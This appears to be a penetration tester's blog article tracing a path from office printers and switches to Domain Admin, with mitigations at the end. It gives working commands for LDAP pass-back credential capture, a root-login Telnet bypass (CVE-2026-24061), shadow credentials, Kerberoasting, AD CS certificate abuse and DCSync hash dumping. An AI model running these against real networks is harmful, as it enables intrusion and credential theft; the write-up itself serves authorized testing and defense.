From Printer to Domain Admin

When starting an internal penetration test for a company with around 200 to 300 endpoints and 400 to 500 users, it is very common to find that the security team already did some homework on their Windows environment.

LLMNR and NBT-NS are disabled by GPO. Local firewalls block lateral SMB connections between workstations. Every corporate laptop has an EDR agent installed, and Domain Admin accounts are no longer used for daily tasks.

In theory, if you plug into an internal network port without valid credentials, you should be stuck.

This is rarely what happens in practice.

The path to Domain Admin almost never starts on a hardened Windows 11 laptop. Instead, it starts on the devices where you cannot install an EDR agent and that nobody includes in Active Directory hardening reviews: office printers, network switches, and random IoT appliances.

This article explains how this exact chain plays out during real internal assessments, how a simple printer or switch gives away the first domain foothold, and how forgotten legacy permissions turn a “read-only” service account into full domain compromise.

1. Getting the first foothold without credentials

In an unauthenticated internal test, running Responder and waiting for hashes is no longer enough in a reasonably configured network. Because of that, my first hours are usually spent looking at infrastructure devices and management interfaces exposed on the internal subnets:

1. Multifunction printers with web consoles on ports 80, 443, 8000, or 8443.
2. Network switches and routers with SNMP (161/udp), SSH/Telnet, or old web panels.

Printer LDAP Pass-Back

Almost every enterprise printer is connected to Active Directory so employees can search the company address book when using Scan-to-Email or Scan-to-Folder.

To query Active Directory, the printer stores an LDAP bind account, usually something like CORP\svc_printer or CORP\ldap_scan. Even in networks where workstations are locked down, printers almost always suffer from the same two problems:

• The web management console still uses default credentials (admin:admin, admin:12345678, or no password at all) or leaves the network configuration tab open to anyone.
• The password field for the LDAP account is hidden in the HTML as ********, but the printer lets you change the LDAP Server IP without asking for the password again.

If we change that IP to our own machine and click “Test Connection”, the printer immediately tries to authenticate to our listener in cleartext over port 389.

For a basic capture:

sudo nc -lvnp 389

If the printer expects a proper LDAP handshake or SASL negotiation before sending the credentials, we can use Responder or a rogue OpenLDAP server configured to downgrade authentication to PLAIN:

sudo responder -I eth0 -v
<SNIP>
[LDAP] Cleartext bind received from 10.20.15.42:
       User : CN=svc_printer,OU=Service Accounts,DC=corp,DC=local
       Pass : Pr1nt_Sc4n_2024!

Right after capturing the password, the first rule is always to put the original Domain Controller IP back in the printer settings and save it. Nobody wants to break the office printer in the middle of an assessment.

Switches, SNMP leaks, and Telnet (CVE-2026-24061)

Another classic entry point is SNMPv1/v2c left running on switches and routers with public or private community strings.

Querying the MIB tree often leaks running configurations, internal VLAN layouts, or even credentials used by backup scripts and RADIUS setups:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.20.0.0/24
snmpwalk -v2c -c public 10.20.1.1 1.3.6.1.2.1.1

Even worse is when switches, routers, or embedded Linux appliances still expose Telnet (23/tcp) on internal networks. Beyond the obvious risk of cleartext traffic, many embedded appliances ship with outdated versions of GNU InetUtils telnetd (versions 1.9.3 up to 2.7) that are vulnerable to CVE-2026-24061.

During Telnet session setup, telnetd processes the USER environment variable passed through the NEW-ENVIRON option and passes it unsanitized to the system login binary. By setting USER="-f root", an unauthenticated attacker can inject the -f flag (which tells login to skip authentication) and get an immediate root shell without knowing any password:

USER="-f root" telnet -a 10.20.1.2

Getting unauthenticated root access on a network switch or embedded appliance has massive consequences for the rest of the internal assessment:

• Credential harvesting: Dumping local configuration files, /etc/ directories, or NVRAM often exposes RADIUS/TACACS+ shared secrets, AD LDAP bind credentials, or SMB/FTP backup accounts.
• Bypassing network segmentation: With full control over a switch or routing appliance, an attacker can inspect or modify VLAN trunks, routing tables, and ACLs to pivot directly into isolated server or Domain Controller subnets.
• Traffic interception: Running passive packet captures on the appliance itself to harvest cleartext protocols or management sessions traversing the device.

2. The “harmless” bind account

When I present this finding during technical debriefs, the reaction from the infrastructure team is almost always the same:

“Wait, that account is only used by the printer to read email addresses from LDAP. It doesn’t have admin permissions anywhere.”

And they are right about the intention. However, in Active Directory, any valid domain user is an authenticated LDAP and Kerberos user.

Going from zero credentials to a single low-privileged account completely changes the test. With svc_printer, we can now dump the entire Active Directory structure and check AD CS templates:

bloodhound-ce-python -d corp.local -u 'svc_printer' -p 'Pr1nt_Sc4n_2024!' -ns 10.20.1.10 -c All --zip

certipy find -u 'svc_printer@corp.local' -p 'Pr1nt_Sc4n_2024!' -dc-ip 10.20.1.10 -enabled -vulnerable

At this stage, we don’t need the printer account to be a local admin on a server. We just need to look at what permissions it inherits through broad and default Active Directory groups.

3. Over-privileged default groups and random GenericAll permissions

One of the things that still amazes me during AD assessments is seeing where GenericAll, WriteDacl, or GenericWrite end up being assigned.

Instead of being restricted to specific admin groups, dangerous permissions are frequently left on broad built-in groups like Domain Users, Authenticated Users, Everyone, Pre-Windows 2000 Compatible Access, or nested departmental groups that include all domain accounts.

Why does this happen?

Usually, years ago, an administrator or an external vendor was installing an application, a backup agent, or a script that kept failing with “Access Denied”. To make it work and go home on time, someone gave Full Control (GenericAll) or write permissions on an Organizational Unit (OU), a security group, or a computer object to Domain Users, Authenticated Users, Everyone, or Pre-Windows 2000 Compatible Access.

The application started working, nobody touched it again, and the permission stayed there forever.

Because svc_printer is a valid domain user, it automatically inherits every single permission given to Domain Users, Authenticated Users, Everyone, and any built-in compatibility groups that contain them.

When we check Transitive Object Control in BloodHound for our compromised bind account, we frequently see paths like these:

(svc_printer@CORP.LOCAL)
   -> [MemberOf] -> (DOMAIN USERS@CORP.LOCAL)
   -> [GenericAll] -> (OU=Server_Admins,DC=corp,DC=local)
   -> [Contains] -> (adm_infra@CORP.LOCAL)

Depending on what object sits at the end of that ACL, we have several ways to escalate:

1. Shadow Credentials (pywhisker)

If the inherited permission gives us GenericAll or GenericWrite over a computer or user account, we can write to its msDS-KeyCredentialLink attribute, request a TGT with PKINIT, and recover the account’s NT hash:

pywhisker -d corp.local -u 'svc_printer' -p 'Pr1nt_Sc4n_2024!' --target 'srv-mgmt01$' --action add --dc-ip 10.20.1.10

gettgtpkinit.py -cert-pfx <GENERATED_PFX> -pfx-pass <PASS> corp.local/srv-mgmt01\$ srv-mgmt01.ccache -dc-ip 10.20.1.10
export KRB5CCNAME=srv-mgmt01.ccache
getnthash.py -key <AS_REP_KEY> corp.local/srv-mgmt01\$ -dc-ip 10.20.1.10

2. Targeted Kerberoasting or group modification (bloodyAD)

If we control a user object or a group, bloodyAD makes it trivial to either add our user to the group, force a password change, or set a fake SPN on the target user to Kerberoast it:

bloodyAD --host 10.20.1.10 -d corp.local -u 'svc_printer' -p 'Pr1nt_Sc4n_2024!' set object 'adm_infra' servicePrincipalName -v 'http/anything'

nxc ldap 10.20.1.10 -u 'svc_printer' -p 'Pr1nt_Sc4n_2024!' --kerberoasting kerberoastables.txt --kdcHost 10.20.1.10

3. AD CS misconfigurations (Certipy)

If the environment runs Active Directory Certificate Services and a vulnerable template (for example, ESC1) allows Domain Users or Authenticated Users to enroll while supplying an arbitrary Subject Alternative Name, our printer account can directly request a certificate as a Domain Admin:

certipy req -u 'svc_printer@corp.local' -p 'Pr1nt_Sc4n_2024!' -dc-ip 10.20.1.10 -ca 'CORP-DC01-CA' -template 'LegacyUserCert' -upn 'administrator@corp.local'
certipy auth -pfx administrator.pfx -dc-ip 10.20.1.10

4. Reaching Domain Admin

Once any of those paths gives us control over a Tier-0 account or a Domain Controller computer account, dumping the domain hashes via DCSync closes the chain:

impacket-secretsdump -just-dc-ntds corp.local/administrator@10.20.1.10 -hashes :<NT_HASH>

If we look at what actually happened from the beginning:

• Not a single corporate laptop with EDR was touched.
• The initial foothold came from overlooked infrastructure devices (printers, SNMP, or legacy Telnet services on switches and appliances).
• Once a single domain account was recovered, forgotten Active Directory permissions did the rest of the work.

Mitigation

Fixing this requires looking at both the network devices and the directory itself:

1. Isolate printers and management interfaces: Printers, cameras, and switch management ports should live in dedicated VLANs. Standard user subnets should never have direct access to printer web consoles (80/443), Telnet (23/tcp), SSH, or SNMP (161/udp).
2. Disable Telnet and patch embedded appliances: Completely disable telnetd on switches, routers, and Linux-based appliances in favor of SSH, and keep firmware updated against critical authentication bypasses like CVE-2026-24061.
3. Enforce LDAPS with certificate validation: Configure printers to use LDAPS (636/tcp) and verify the Domain Controller certificate. If the printer checks the certificate before sending the bind request, a simple IP change will fail to leak the password.
4. Change default passwords on every appliance: Never leave printer or switch consoles with factory credentials or unauthenticated settings pages.
5. Audit broad and default group ACLs: Review all non-default permissions granted to Domain Users, Authenticated Users, Everyone, and legacy groups like Pre-Windows 2000 Compatible Access across your OUs, groups, and computer objects.
6. Restrict bind accounts: Even though a bind account needs to query LDAP, remove it from unnecessary groups and block interactive and remote logons (SeDenyInteractiveLogonRight, SeDenyRemoteInteractiveLogonRight) via GPO.

Conclusion

Hardening workstations and deploying EDR is essential, but Active Directory security is only as strong as the weakest account that can query it.

As long as an attacker can pull a valid domain credential from a printer in the hallway and pair it with old ACLs left behind in Active Directory, the path to Domain Admin will remain wide open.